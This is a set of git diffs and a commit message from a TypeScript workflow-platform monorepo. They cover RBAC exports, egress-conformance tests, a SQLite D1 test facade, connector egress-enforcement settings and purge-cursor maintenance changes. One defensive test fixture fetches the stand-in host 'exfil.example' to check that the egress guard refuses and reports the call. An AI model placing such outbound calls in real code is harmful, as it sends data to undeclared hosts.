-14,6 +14,7 @@ import type { import type { RequestContext } from '@mastra/core/request-context'; import type { AuditLogger } from '../audit/index.js'; +import type { Actor, Role } from './actor.js'; import { authorizeActor } from './authorize.js'; import { assertPrincipalKinds, @@ -21,8 +22,7 @@ import { type PrincipalKind, } from './principal.js'; -/** Role labels accepted by the built-in actor contract. */ -export type Role = 'admin' | 'builder' | 'operator' | 'reviewer' | 'viewer'; +export type { Role } from './actor.js'; /** All role labels accepted by `RBACMiddleware`. */ export const ROLES: readonly Role[] = [ @@ -33,6 +33,14 @@ export const ROLES: readonly Role[] = [ 'viewer', ]; +export type { + AuditEvent, + AuditLoggerOptions, + AuditSink, +} from '../audit/index.js'; +// Audit moved to its own module; keep the historical rbac export surface. +export { AuditLogger } from '../audit/index.js'; +export type { Actor } from './actor.js'; // Re-exported for hosts; `assertPrincipalKinds` stays internal to the package. export type { Permission, PrincipalPermissions } from './permission.js'; export { @@ -47,29 +55,6 @@ export { principalKindOf, } from './principal.js'; -/** Authenticated identity evaluated by RBAC and attached to audit events. */ -export interface Actor { - /** Stable actor identifier from the host authentication system. */ - id: string; - /** - * Role used by the middleware's exact allowlist. Meaningful only for the - * 'human' kind; for automated kinds the role allowlist is not consulted at - * all and hosts should project the least-privileged label. See - * `authorizeActor`. - */ - role: Role; - /** Absent means 'human', so an existing host keeps its exact behavior. */ - kind?: PrincipalKind; -} - -export type { - AuditEvent, - AuditLoggerOptions, - AuditSink, -} from '../audit/index.js'; -// Audit moved to its own module; keep the historical rbac export surface. -export { AuditLogger } from '../audit/index.js'; - /** requestContext key the default actor lookup reads. */ export const ACTOR_CONTEXT_KEY = 'breakwater.actor'; diff --git a/packages/breakwater/vitest.config.ts b/packages/breakwater/vitest.config.ts index f5482346..6ec74eee 100644 --- a/packages/breakwater/vitest.config.ts +++ b/packages/breakwater/vitest.config.ts @@ -3,6 +3,5 @@ import { defineConfig } from 'vitest/config'; export default defineConfig({ test: { include: ['src/**/*.test.ts'], - passWithNoTests: true, }, }); diff --git a/packages/breakwater/worker-tests/egress-conformance.workers.test.ts b/packages/breakwater/worker-tests/egress-conformance.workers.test.ts index 401697ac..0a23c0af 100644 --- a/packages/breakwater/worker-tests/egress-conformance.workers.test.ts +++ b/packages/breakwater/worker-tests/egress-conformance.workers.test.ts @@ -16,6 +16,10 @@ const manifest: PermissionManifest = { egress: ['api.vendor.example'], egressEnforcement: 'enforced', }; +const noEgress: PermissionManifest = { + sideEffect: 'read', + egressEnforcement: 'enforced', +}; const requestCase: ConnectorConformanceCase = { name: 'request', input: {}, @@ -49,6 +53,7 @@ async function rejected( } it('loads the connector-sdk barrel inside workerd', () => { + // #then expect(typeof createConnector).toBe('function'); }); @@ -134,12 +139,14 @@ it('restores the workerd global fetch identity after a case throws', async () => }); it('reports INSTRUMENTATION_REPLACED inside workerd when a case redefines global fetch', async () => { + // #given const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); let replacementCalls = 0; const replacementFetch: typeof fetch = async () => { replacementCalls += 1; return new Response(); }; + // #when const report = await rejected( assertConnectorConformance( factory(async (_input, _context, runtime) => { @@ -151,6 +158,7 @@ it('reports INSTRUMENTATION_REPLACED inside workerd when a case redefines global { manifest, cases: [requestCase] }, ), ); + // #then expect(replacementCalls).toBe(1); expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); expect(report.conformant).toBe(false); @@ -172,6 +180,7 @@ it('reports INSTRUMENTATION_REPLACED inside workerd when a case redefines global }); it('records INSTRUMENTATION_REPLACED inside workerd when a case assigns global fetch', async () => { + // #given const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); let replacementCalls = 0; const replacement: typeof fetch = async () => { @@ -180,6 +189,7 @@ it('records INSTRUMENTATION_REPLACED inside workerd when a case assigns global f }; let assigned = false; let intact = false; + // #when const report = await rejected( assertConnectorConformance( factory(async () => { @@ -194,6 +204,7 @@ it('records INSTRUMENTATION_REPLACED inside workerd when a case assigns global f { manifest, cases: [requestCase] }, ), ); + // #then expect( saved?.configurable, 'workerd global fetch uses the configurable accessor arm', @@ -221,9 +232,11 @@ it('records INSTRUMENTATION_REPLACED inside workerd when a case assigns global f expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); }); -it('records FACTORY_FAILED when the case factory throws a null-prototype object', async () => { +it('records FACTORY_FAILED inside workerd when the case factory throws a null-prototype object', async () => { + // #given const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); let constructions = 0; + // #when const report = await rejected( assertConnectorConformance( (runtime) => { @@ -233,6 +246,7 @@ it('records FACTORY_FAILED when the case factory throws a null-prototype object' { manifest, cases: [requestCase] }, ), ); + // #then expect(report.conformant).toBe(false); expect(report.findings).toEqual([ { code: 'FACTORY_FAILED', case: 'request', reason: 'a non-Error object' }, @@ -241,11 +255,83 @@ it('records FACTORY_FAILED when the case factory throws a null-prototype object' expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); }); -it('accepts the workerd global fetch descriptor the harness requires', () => { +it('names the settled case on a late escape inside workerd', async () => { // #given + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + let release!: () => void; + const gate = new Promise((resolve) => { + release = resolve; + }); + let late: Promise | undefined; + let lateRefusal: unknown; + const subject: ConnectorConformanceFactory = (runtime) => { + const base = runtime.policies.fetch as (url: string) => Promise; + return createConnector({ + id: 'vendor.read', + description: 'Workerd late-escape fixture', + permissions: noEgress, + policies: runtime.policies, + execute: async (input) => { + if ((input as { phase?: string }).phase === 'capture') { + late = (async () => { + await gate; + try { + await base('https://exfil.example/late'); + } catch (error) { + lateRefusal = error; + } + })(); + return {}; + } + // Releasing the gate queues the capture case's abandoned + // continuation as a microtask; the zero-delay timer holds this case + // open across it, so the retained transport is called after the + // capture case settles and while the run is still open. + release(); + await new Promise((resolve) => { + setTimeout(resolve, 0); + }); + return {}; + }, + }); + }; + // #when + const report = await rejected( + assertConnectorConformance(subject, { + manifest: noEgress, + cases: [ + { + name: 'capture', + input: { phase: 'capture' }, + expect: { outcome: 'no-network' }, + }, + { + name: 'settle', + input: { phase: 'settle' }, + expect: { outcome: 'no-network' }, + }, + ], + }), + ); + await late; + // #then + expect(report.findings).toEqual([ + { + code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH', + observedAfterCase: 'capture', + reason: + "connector reached policies.fetch for a host the registered egress declaration does not cover (host: exfil.example); observed after case 'capture' settled", + }, + ]); + expect(report.findings[0]).not.toHaveProperty('case'); + expect(report.cases[0]?.escapes).toEqual([]); + expect(lateRefusal).toBeInstanceOf(Error); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); +}); + +it('accepts the workerd global fetch descriptor the harness requires', () => { // #when const d = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); - console.info(`workerd fetch configurable=${d?.configurable}`); // #then expect( d !== undefined && diff --git a/packages/showcase/worker/worker.fetch.e2e.test.ts b/packages/showcase/worker/worker.fetch.e2e.test.ts index df9c5962..1ad1492d 100644 --- a/packages/showcase/worker/worker.fetch.e2e.test.ts +++ b/packages/showcase/worker/worker.fetch.e2e.test.ts @@ -9,25 +9,29 @@ import { describe, expect, it, vi } from 'vitest'; import { STATE_COOKIE } from '#worker/demo-auth'; import handler, { ShowcaseRunner } from '#worker/worker'; +// The node:sqlite-backed D1 facade this suite drives, matching +// packages/agent-starter/test/sqlite.ts — the retained source — byte for byte +// from `interface SqliteStatement` to the end of `sqliteUnitDatabase`. +// showcase declares no dependency on anchorage-agent-starter, and that package +// publishes no `exports` entry, so no specifier resolves it from here. interface SqliteStatement { get(...params: unknown[]): unknown; - run(...params: unknown[]): unknown; all(...params: unknown[]): unknown[]; } -interface SqliteDatabase { +export interface SqliteDatabase { prepare(sql: string): SqliteStatement; exec(sql: string): void; } -function openSqlite(): SqliteDatabase { +export function openSqlite(): SqliteDatabase { const getBuiltin = ( globalThis as { process?: { getBuiltinModule?: (id: string) => unknown }; } ).process?.getBuiltinModule; if (!getBuiltin) { - throw new Error('node:sqlite unavailable — tests require node >= 22.13'); + throw new Error('node:sqlite unavailable; tests require Node.js 22.13+'); } const mod = getBuiltin('node:sqlite') as { DatabaseSync: new (path: string) => SqliteDatabase; @@ -35,17 +39,19 @@ function openSqlite(): SqliteDatabase { return new mod.DatabaseSync(':memory:'); } -function sqliteUnitDatabase(db: SqliteDatabase): unknown { +export function sqliteUnitDatabase(db: SqliteDatabase): unknown { const runSync = Symbol('runSync'); function statement(sql: string, params: unknown[]): Record { const execute = () => { - const outcome = db.prepare(sql).run(...params) as { - changes?: number | bigint; + const results = db.prepare(sql).all(...params); + const outcome = db.prepare('SELECT changes() AS count').get() as { + count: number | bigint; }; return { success: true, - meta: { changes: Number(outcome?.changes ?? 0) }, + results, + meta: { changes: Number(outcome.count) }, }; }; return { @@ -55,7 +61,7 @@ function sqliteUnitDatabase(db: SqliteDatabase): unknown { | Record | undefined; if (row === undefined) return null; - return column !== undefined ? (row[column] ?? null) : row; + return column === undefined ? row : (row[column] ?? null); }, run: async () => execute(), [runSync]: execute, @@ -66,6 +72,7 @@ function sqliteUnitDatabase(db: SqliteDatabase): unknown { }), }; } + return { prepare: (sql: string) => statement(sql, []), batch: async ( @@ -178,6 +185,64 @@ async function call( return response as unknown as Response; } +// The facade above is a copy, not an import, so pin the result shape its D1 +// consumers read: a drift in either copy fails here. +describe('the node:sqlite D1 facade', () => { + interface PreparedResult { + success: boolean; + results: unknown[]; + meta: { changes: number }; + } + interface Prepared { + bind(...values: unknown[]): Prepared; + first(column?: string): Promise; + run(): Promise; + } + interface Facade { + prepare(sql: string): Prepared; + batch(statements: Prepared[]): Promise; + } + + function openFacade(): Facade { + const sqlite = openSqlite(); + sqlite.exec('CREATE TABLE t (k TEXT PRIMARY KEY, v TEXT NOT NULL)'); + return sqliteUnitDatabase(sqlite) as Facade; + } + + it('reports success, results and the changed-row count from run()', async () => { + const db = openFacade(); + expect( + await db + .prepare('INSERT INTO t (k, v) VALUES (?, ?)') + .bind('a', 'one') + .run(), + ).toEqual({ success: true, results: [], meta: { changes: 1 } }); + expect( + await db.prepare('SELECT v FROM t WHERE k = ?').bind('a').first('v'), + ).toBe('one'); + expect( + await db.prepare('SELECT v FROM t WHERE k = ?').bind('zz').first(), + ).toBeNull(); + }); + + it('commits a batch as one transaction and rolls all of it back on a failure', async () => { + const db = openFacade(); + await db.batch([ + db.prepare('INSERT INTO t (k, v) VALUES (?, ?)').bind('a', 'one'), + db.prepare('INSERT INTO t (k, v) VALUES (?, ?)').bind('b', 'two'), + ]); + expect(await db.prepare('SELECT count(*) AS n FROM t').first('n')).toBe(2); + + await expect( + db.batch([ + db.prepare('INSERT INTO t (k, v) VALUES (?, ?)').bind('c', 'three'), + db.prepare('INSERT INTO t (k, v) VALUES (?, ?)').bind('a', 'dup'), + ]), + ).rejects.toThrow(); + expect(await db.prepare('SELECT count(*) AS n FROM t').first('n')).toBe(2); + }); +}); + describe('showcase worker fetch(): auth composition', () => { it('abandons run approvals once and accepts a cleanup replay', async () => { const sqlite = openSqlite(); diff --git a/packages/showcase/worker/workflows/access-request.ts b/packages/showcase/worker/workflows/access-request.ts index 0c456aa3..cc02f1dc 100644 --- a/packages/showcase/worker/workflows/access-request.ts +++ b/packages/showcase/worker/workflows/access-request.ts @@ -56,7 +56,13 @@ export const accessRequestModule: WorkflowModule = { resource: z.string(), role: z.string(), }), - permissions: { sideEffect: 'write', requiresApproval: true }, + permissions: { + sideEffect: 'write', + // execute logs the grant and returns; no HTTP request leaves this + // connector, so none goes around runtime.fetch. + egressEnforcement: 'enforced', + requiresApproval: true, + }, policies: { audit, evaluators: [ diff --git a/packages/showcase/worker/workflows/content-pipeline.ts b/packages/showcase/worker/workflows/content-pipeline.ts index 83c1a6f0..0eec2e28 100644 --- a/packages/showcase/worker/workflows/content-pipeline.ts +++ b/packages/showcase/worker/workflows/content-pipeline.ts @@ -66,6 +66,9 @@ export const contentPipelineModule: WorkflowModule = { outputSchema: z.object({ published: z.boolean(), key: z.string() }), permissions: { sideEffect: 'write', + // The publish is an R2 artifact-store binding, which the egress guard + // never sees and which carries no HTTP request of its own. + egressEnforcement: 'enforced', requiresApproval: true, idempotencyKey: true, }, diff --git a/packages/showcase/worker/workflows/gtm-outbound.ts b/packages/showcase/worker/workflows/gtm-outbound.ts index 88912b38..24c9419c 100644 --- a/packages/showcase/worker/workflows/gtm-outbound.ts +++ b/packages/showcase/worker/workflows/gtm-outbound.ts @@ -70,7 +70,13 @@ export const gtmOutboundModule: WorkflowModule = { outcome: z.enum(CONNECTOR_OUTCOMES), delivered: z.number(), }), - permissions: { sideEffect: 'write', requiresApproval: true }, + permissions: { + sideEffect: 'write', + // The send is the Cloudflare Email Service binding, which the egress + // guard never sees and which carries no HTTP request of its own. + egressEnforcement: 'enforced', + requiresApproval: true, + }, policies: { audit }, execute: async ({ drafts }) => { if (!email) { diff --git a/packages/showcase/worker/workflows/lead-generation.ts b/packages/showcase/worker/workflows/lead-generation.ts index fb5280ba..7bf91807 100644 --- a/packages/showcase/worker/workflows/lead-generation.ts +++ b/packages/showcase/worker/workflows/lead-generation.ts @@ -88,6 +88,10 @@ export const leadGenerationModule: WorkflowModule = { sideEffect: 'write', requiresApproval: true, egress: [CRM_HOST], + // The assign rides the host-supplied crm.fetch, a transport the egress + // guard never sees, so the host above is checked against organization + // policy, never against the socket. + egressEnforcement: 'declaration-only', rateLimit: '5/min', }, policies: { diff --git a/packages/showcase/worker/workflows/product-launch.ts b/packages/showcase/worker/workflows/product-launch.ts index e54fa39a..eb002974 100644 --- a/packages/showcase/worker/workflows/product-launch.ts +++ b/packages/showcase/worker/workflows/product-launch.ts @@ -67,6 +67,10 @@ export const productLaunchModule: WorkflowModule = { sideEffect: 'destructive', requiresApproval: true, egress: [DEPLOY_HOST], + // The webhook rides the host-supplied deploy.fetch, a transport the + // egress guard never sees, so the host above is checked against + // organization policy, never against the socket. + egressEnforcement: 'declaration-only', idempotencyKey: true, dryRun: true, }, diff --git a/packages/showcase/worker/workflows/wire-transfer.ts b/packages/showcase/worker/workflows/wire-transfer.ts index 22bcd760..11717f9d 100644 --- a/packages/showcase/worker/workflows/wire-transfer.ts +++ b/packages/showcase/worker/workflows/wire-transfer.ts @@ -64,7 +64,13 @@ export const wireTransferModule: WorkflowModule = { confirmation: z.string(), reference: z.string(), }), - permissions: { sideEffect: 'write', requiresApproval: true }, + permissions: { + sideEffect: 'write', + // execute records the envelope and returns; no payment rail and no + // HTTP request leave this connector. + egressEnforcement: 'enforced', + requiresApproval: true, + }, policies: { audit }, execute: async ({ amount, currency, beneficiary, reference }) => { console.log( From 6f54bc6978450f5efbb32b04d89ce7e3270e9e7a Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 16 Sep 2026 20:48:19 +0400 Subject: [PATCH 164/169] fix(flowsafe): require the purge cursor seam, probe both patch subjects The purge maintenance duty takes a purge-specific context whose advanceRetentionCursor callback is required. runMaintenanceDuty gains a second call signature for it, and a purge invocation whose context omits the callback is refused under a config-error naming maintenance.purge.advanceRetentionCursor before any purge surface runs. The notification dispatch tick captures its delivery capability before the zero-limit return, so a storage without conditional delivery is refused at construction for every limit. Each subject of the @mastra/core patch keeps its own probe. Tick construction calls the synchronous assertNotificationSourceKeysPatched for a nonzero limit; assertNotificationDeliveryPolicyPatched is asynchronous and resolves the delivery-policy lookup once per isolate. The notification dispatch route and the ingestion gate call both, after the request validation each already ran and before either reaches core's patched functions; notification-dispatch.patch-seam.test.ts holds the ingestion refusal at 502 with the patch named on the server log. The schedule tick's unadvanceable-cron branch returns before the CAS claim: it counts the row failed, audits invalid-cron, writes no trigger, and leaves nextFireAt untouched, so the row stays due and the next pass selects it again. The comment at that branch and a case in tick.test.ts state that consequence. DurableObjectRunner.#armRunOwnerRecovery states the journal's absence policy: arming and clearing are advisory and do nothing on a host with no storage, while promoting a claim to prepared requires storage and refuses without it. Test support: durableKeyValueStorageFixture, which clones on get and put, replaces five hand-rolled DurableKeyValueStorage stubs; sqliteUnitDatabase returns a declared SqliteUnitDatabase; d1-type-compatibility holds both directions of the D1 seam contract. The packed-surface proof pins the declaration graph of the do-runner/constants and do-runner/testing entries, loads its graph hook through --import and module.register(), resolves the package directory through realpathSync, and is also reachable as test:packed-surface. The flowsafe vitest and tsconfig.test aliases cover the two subpath entries; passWithNoTests is removed. Six flowsafe connector manifests declare egressEnforcement: 'enforced'. README.md states which deadline values come from do-runner/constants and that MAX_SUSPENSION_DEADLINES_PER_RUN comes from do-runner; do-runner/CLAUDE.md lists constants.ts and testing.ts. Changesets: maintenance-purge-cursor-contract, notification-tick-capability-at-construction, and an edit to public-suspension-deadline-helpers. Co-Authored-By: Claude Fable 5.1 --- .../maintenance-purge-cursor-contract.md | 5 + ...ication-tick-capability-at-construction.md | 7 + .../public-suspension-deadline-helpers.md | 2 +- packages/flowsafe/README.md | 2 +- packages/flowsafe/deploy/worker.e2e.test.ts | 120 ++++++-- packages/flowsafe/deploy/worker.ts | 6 +- .../examples/gtm-outbound.e2e.test.ts | 6 +- packages/flowsafe/package.json | 1 + .../flowsafe/scripts/agent-host-pack-test.mjs | 49 +++- .../spike/durability-benchmark.worker.ts | 6 +- packages/flowsafe/spike/worker.ts | 10 +- .../src/agent-runner/agent-run-state.test.ts | 32 +-- packages/flowsafe/src/do-runner/CLAUDE.md | 1 + .../src/do-runner/durable-object.test.ts | 266 +++++++++--------- .../flowsafe/src/do-runner/durable-object.ts | 10 + .../src/do-runner/execution-fence.test.ts | 77 ++++- .../src/do-runner/sqlite-fixture.test.ts | 39 ++- .../src/execution-entry-matrix.test.ts | 23 +- .../src/host-kit/flowsafe-worker.test.ts | 70 +++-- .../flowsafe/src/host-kit/flowsafe-worker.ts | 84 +++++- packages/flowsafe/src/host-kit/index.ts | 1 + packages/flowsafe/src/schedules/tick.test.ts | 41 +++ packages/flowsafe/src/schedules/tick.ts | 4 + .../notification-dispatch.patch-seam.test.ts | 156 ++++++++-- .../src/signals/notification-dispatch.test.ts | 65 ++++- .../src/signals/notification-dispatch.ts | 39 ++- .../signals/notification-source-keys.test.ts | 13 + .../signal-ingestion.integration.test.ts | 68 ++++- .../flowsafe/src/signals/thread-do-routes.ts | 7 +- .../test-support/d1-type-compatibility.ts | 30 +- .../test-support/durable-key-value-storage.ts | 67 +++++ packages/flowsafe/test-support/sqlite.ts | 67 +++-- packages/flowsafe/tsconfig.test.json | 4 + packages/flowsafe/vitest.config.ts | 9 +- 34 files changed, 1054 insertions(+), 333 deletions(-) create mode 100644 .changeset/maintenance-purge-cursor-contract.md create mode 100644 .changeset/notification-tick-capability-at-construction.md create mode 100644 packages/flowsafe/test-support/durable-key-value-storage.ts diff --git a/.changeset/maintenance-purge-cursor-contract.md b/.changeset/maintenance-purge-cursor-contract.md new file mode 100644 index 00000000..4f441952 --- /dev/null +++ b/.changeset/maintenance-purge-cursor-contract.md @@ -0,0 +1,5 @@ +--- +'@proofoftech/flowsafe': patch +--- + +Require the retention cursor seam on the purge duty. `runMaintenanceDuty('purge', env, context)` takes the new `MaintenancePurgeDutyContext`, whose `advanceRetentionCursor` is required, matching the `advanceCursor` the run-retention purge itself requires; the other duties keep the optional `MaintenanceDutyContext`. A purge invocation whose context omits the callback is refused under a `config-error` naming `maintenance.purge.advanceRetentionCursor` before any purge surface runs, rather than purging the remaining surfaces and reporting a `retention-purge` failure. diff --git a/.changeset/notification-tick-capability-at-construction.md b/.changeset/notification-tick-capability-at-construction.md new file mode 100644 index 00000000..868afdea --- /dev/null +++ b/.changeset/notification-tick-capability-at-construction.md @@ -0,0 +1,7 @@ +--- +'@proofoftech/flowsafe': patch +--- + +Capture the conditional-delivery capability when a notification dispatch tick is built, whatever its `limit`. `createNotificationDispatchTick()` reads `storage` and refuses one without `updateNotificationDeliveryIfUnchanged` for every configuration, including `limit: 0`, so the `NotificationDeliveryStorage` requirement no longer depends on the limit. A `limit: 0` tick still resolves `{ due: 0, delivered: 0, failed: 0 }` without reading due rows, calling storage, or needing the `@mastra/core` patch; invalid numeric policy still fails ahead of the capture. + +The notification routes refuse when the installed `@mastra/core` lacks the delivery-policy half of that patch. `createThreadSignalRoutes()` probes `resolveNotificationDeliveryDecision` at both the ingestion gate and the dispatch route, and answers 502 with the message naming the patch on the server log. The probe resolves once per isolate; tick construction keeps its synchronous probe and is unaffected. diff --git a/.changeset/public-suspension-deadline-helpers.md b/.changeset/public-suspension-deadline-helpers.md index a083c39c..4ba7c4ab 100644 --- a/.changeset/public-suspension-deadline-helpers.md +++ b/.changeset/public-suspension-deadline-helpers.md @@ -2,6 +2,6 @@ '@proofoftech/flowsafe': minor --- -Expose `isArmableSuspensionDeadlineMs` and `suspensionDeadlinesOf` from `do-runner`. Add the lightweight `do-runner/constants` entry for deadline values and timeout detection, and `do-runner/testing` for constructing fixtures with the same timeout envelope as the alarm path. +Expose `isArmableSuspensionDeadlineMs` and `suspensionDeadlinesOf` from `do-runner`, together with the `SuspensionDeadlineEntry` and `RejectedSuspensionDeadline` types that projection returns. Add the lightweight `do-runner/constants` entry for deadline values and timeout detection, and `do-runner/testing` for constructing fixtures with the same timeout envelope as the alarm path. Reuse the existing arming bounds, derivation and alarm payload factory. The test helper does not authorize a resume or mint an approval grant. diff --git a/packages/flowsafe/README.md b/packages/flowsafe/README.md index 28a25e40..b26358de 100644 --- a/packages/flowsafe/README.md +++ b/packages/flowsafe/README.md @@ -202,7 +202,7 @@ const gate = createStep({ }); ``` -Use `isArmableSuspensionDeadlineMs(value)` to validate relative milliseconds against the runner's safe-integer and inclusive duration bounds. Import it and the deadline values from `@proofoftech/flowsafe/do-runner/constants` to avoid loading the runner graph. A step declaring a Zod `suspendSchema` must declare the reserved field or use a loose object, because Mastra replaces the suspend payload with parsed output. Its `resumeSchema` must accept the timeout envelope as well as the signal shape. +Use `isArmableSuspensionDeadlineMs(value)` to validate relative milliseconds against the runner's safe-integer and inclusive duration bounds. Import it, those duration bounds and the reserved payload keys from `@proofoftech/flowsafe/do-runner/constants` to avoid loading the runner graph; the per-run cap `MAX_SUSPENSION_DEADLINES_PER_RUN` comes from `@proofoftech/flowsafe/do-runner`. A step declaring a Zod `suspendSchema` must declare the reserved field or use a loose object, because Mastra replaces the suspend payload with parsed output. Its `resumeSchema` must accept the timeout envelope as well as the signal shape. For workflow tests, import `suspensionTimeoutResumeData` from `@proofoftech/flowsafe/do-runner/testing` and call it with `{ step, deadlineAt }` and an expiry time. It returns the alarm's envelope shape; `isSuspensionTimeoutResumeData` checks that shape without authenticating its origin. Public resume requests containing the reserved key are rejected. Alarm resumes record system provenance and do not grant approval. diff --git a/packages/flowsafe/deploy/worker.e2e.test.ts b/packages/flowsafe/deploy/worker.e2e.test.ts index d5075105..bca2893f 100644 --- a/packages/flowsafe/deploy/worker.e2e.test.ts +++ b/packages/flowsafe/deploy/worker.e2e.test.ts @@ -44,7 +44,6 @@ import { D1ApprovalStoreFactory, } from '../src/approval-api/index.js'; import { - type DurableKeyValueStorage, HUB_INSTANCE_NAME, PATH_SAFE_ID_PATTERN, type RunArtifactPurger, @@ -52,9 +51,10 @@ import { } from '../src/do-runner/index.js'; import { createFlowsafeWorker, - type MaintenanceDutyContext, + type MaintenancePurgeDutyContext, staticTokenVerifier, } from '../src/host-kit/index.js'; +import { durableKeyValueStorageFixture } from '../test-support/durable-key-value-storage.js'; import { openSqlite, type SqliteDatabase, @@ -80,13 +80,14 @@ const maintenanceWorker = createFlowsafeWorker({ }, }); -// The purge duty reads its retention cursor from this context and, with no way -// to advance it, skips the run-row purge and reports a retention-purge failure -// while its sibling surfaces continue. The shipped template's -// FlowsafeMaintenance DO supplies both from its own storage, so a caller that -// drives the seam directly owns the cursor itself. -function retentionContext(): MaintenanceDutyContext { - const context: MaintenanceDutyContext = { +// One context per maintenance invocation, as the shipped template's +// FlowsafeMaintenance DO gives the seam: it supplies the retention cursor and +// the callback that advances it from its own storage, so a caller driving the +// seam directly owns both. The purge duty requires the callback — a context +// without it refuses the invocation before any purge surface runs — and the +// cursor it writes back is what the per-invocation case below reads. +function retentionContext(): MaintenancePurgeDutyContext { + const context: MaintenancePurgeDutyContext = { advanceRetentionCursor: async (cursor) => { context.retentionCursor = structuredClone(cursor); }, @@ -98,7 +99,12 @@ async function runMaintenanceDuty( duty: 'sweep' | 'purge', env: Env, ): Promise { - await maintenanceWorker.runMaintenanceDuty(duty, env, retentionContext()); + // The sweep reads no cursor, so it takes no context; the purge takes its own. + if (duty === 'purge') { + await maintenanceWorker.runMaintenanceDuty(duty, env, retentionContext()); + return; + } + await maintenanceWorker.runMaintenanceDuty(duty, env); } // In-process DO namespace: idFromName carries the name, get() memoizes a REAL @@ -115,20 +121,11 @@ function fakeRunnerNamespace(getEnv: () => Env): DurableObjectNamespace { fetch: async (input: string, init?: RequestInit) => { let runner = instances.get(id.name); if (!runner) { - const values = new Map(); - const storage: DurableKeyValueStorage = { - async get(key: string): Promise { - return values.get(key) as T | undefined; - }, - async put(key: string, value: T): Promise { - values.set(key, value); - }, - async delete(key: string): Promise { - return values.delete(key); - }, - async setAlarm(_scheduledTime: number | Date): Promise {}, - async deleteAlarm(): Promise {}, - }; + // The fixture's alarm members are required and unread here: the + // runner refuses to arm the run-owner journal on a storage that + // cannot set an alarm, while these cases assert nothing about when a + // wake is scheduled. + const { storage } = durableKeyValueStorageFixture(); const state = { id: { name: id.name }, storage, @@ -912,7 +909,17 @@ describe('deploy worker alarm-owned maintenance duties', () => { const surfaces = errorSpy.mock.calls .map(([line]) => String(line)) .filter((line) => line.includes('maintenance-error')); - expect(surfaces.some((line) => line.includes('sla-sweep'))).toBe(true); + // Every surface assertion in this describe names the cause its case + // injected, not just the surface: a fixture-shaped failure — a context with + // no cursor callback, a table the fixture never created — reaches the same + // surface, and a bare surface check passes while the isolation under test + // was never exercised. + expect( + surfaces.some( + (line) => + line.includes('sla-sweep') && line.includes('approval store down'), + ), + ).toBe(true); errorSpy.mockRestore(); }); @@ -962,22 +969,38 @@ describe('deploy worker alarm-owned maintenance duties', () => { const surfaces = errorSpy.mock.calls .map(([line]) => String(line)) .filter((line) => line.includes('maintenance-error')); - expect(surfaces.some((line) => line.includes('retention-purge'))).toBe( - true, - ); + expect( + surfaces.some( + (line) => + line.includes('retention-purge') && + line.includes('snapshot table down'), + ), + ).toBe(true); errorSpy.mockRestore(); }); it('purges DECIDED approvals and snapshots in the same purge-duty alarm', async () => { // #given — an old decided (approved) approval, a fresh decided // (rejected) approval, and an old but still-OPEN approval (never - // purged at any age). RUN_RETENTION_DAYS is unset (fallback default); + // purged at any age), beside a stale and a fresh terminal snapshot row. + // RUN_RETENTION_DAYS is unset (fallback default); // APPROVAL_RETENTION_DAYS is deliberately invalid: numberVar must log // the config error and fall back to 30 days rather than skip the purge. - const { env, d1 } = makeEnv({ APPROVAL_RETENTION_DAYS: '-5' }); + const { env, sqlite, d1 } = makeEnv({ APPROVAL_RETENTION_DAYS: '-5' }); const store = new D1ApprovalStoreFactory(d1 as never).store(); const old = new Date(Date.now() - 40 * DAY_MS).toISOString(); const fresh = new Date(Date.now() - 1 * DAY_MS).toISOString(); + createSnapshotTable(sqlite); + seedRun(sqlite, { + runId: 'acme_stale-done', + status: 'success', + updatedAt: Date.now() - 40 * DAY_MS, + }); + seedRun(sqlite, { + runId: 'acme_fresh-done', + status: 'success', + updatedAt: Date.now() - 1 * DAY_MS, + }); await store.create({ id: 'apr-old-decided', workflowId: 'example-approval', @@ -1023,6 +1046,10 @@ describe('deploy worker alarm-owned maintenance duties', () => { expect(await store.get('apr-old-decided')).toBeNull(); expect(await store.get('apr-fresh-decided')).not.toBeNull(); expect(await store.get('apr-old-open')).not.toBeNull(); + // ...and the SAME alarm reclaimed the stale terminal snapshot under the + // fallback 30-day run TTL, which is what "in the same purge-duty alarm" + // claims of the two surfaces + expect(remainingRunIds(sqlite)).toEqual(['acme_fresh-done']); // ...and the invalid var was surfaced as the operator's tripwire (same // convention as RUN_RETENTION_DAYS's config-error test above) expect( @@ -1037,6 +1064,33 @@ describe('deploy worker alarm-owned maintenance duties', () => { errorSpy.mockRestore(); }); + it('gives each maintenance invocation its own retention cursor', async () => { + // #given — a stale terminal snapshot for the purge to reclaim, and two + // contexts built the way every call site in this file builds one + const { env, sqlite } = makeEnv(); + createSnapshotTable(sqlite); + seedRun(sqlite, { + runId: 'acme_stale-done', + status: 'success', + updatedAt: Date.now() - 40 * DAY_MS, + }); + const driven = retentionContext(); + const sibling = retentionContext(); + expect(driven.retentionCursor).toBeUndefined(); + expect(sibling.retentionCursor).toBeUndefined(); + + // #when — one purge duty runs on the first context + await maintenanceWorker.runMaintenanceDuty('purge', env, driven); + + // #then — the purge advanced a cursor, it is readable on the context that + // duty was given, and it reached no other. A module-level context shared by + // every call site here would hand the next invocation this one's cursor, + // and every other case in this file would still pass. + expect(remainingRunIds(sqlite)).toEqual([]); + expect(driven.retentionCursor).toMatchObject({ version: 1 }); + expect(sibling.retentionCursor).toBeUndefined(); + }); + it('an approval-purge failure does not stop the snapshot retention purge (isolated surfaces)', async () => { // #given — every approvals-table statement throws; a stale terminal // snapshot is still eligible @@ -1076,7 +1130,11 @@ describe('deploy worker alarm-owned maintenance duties', () => { .map(([line]) => String(line)) .filter((line) => line.includes('maintenance-error')); expect( - surfaces.some((line) => line.includes('approval-retention-purge')), + surfaces.some( + (line) => + line.includes('approval-retention-purge') && + line.includes('approval store down'), + ), ).toBe(true); errorSpy.mockRestore(); }); diff --git a/packages/flowsafe/deploy/worker.ts b/packages/flowsafe/deploy/worker.ts index acf89aa4..b1b44390 100644 --- 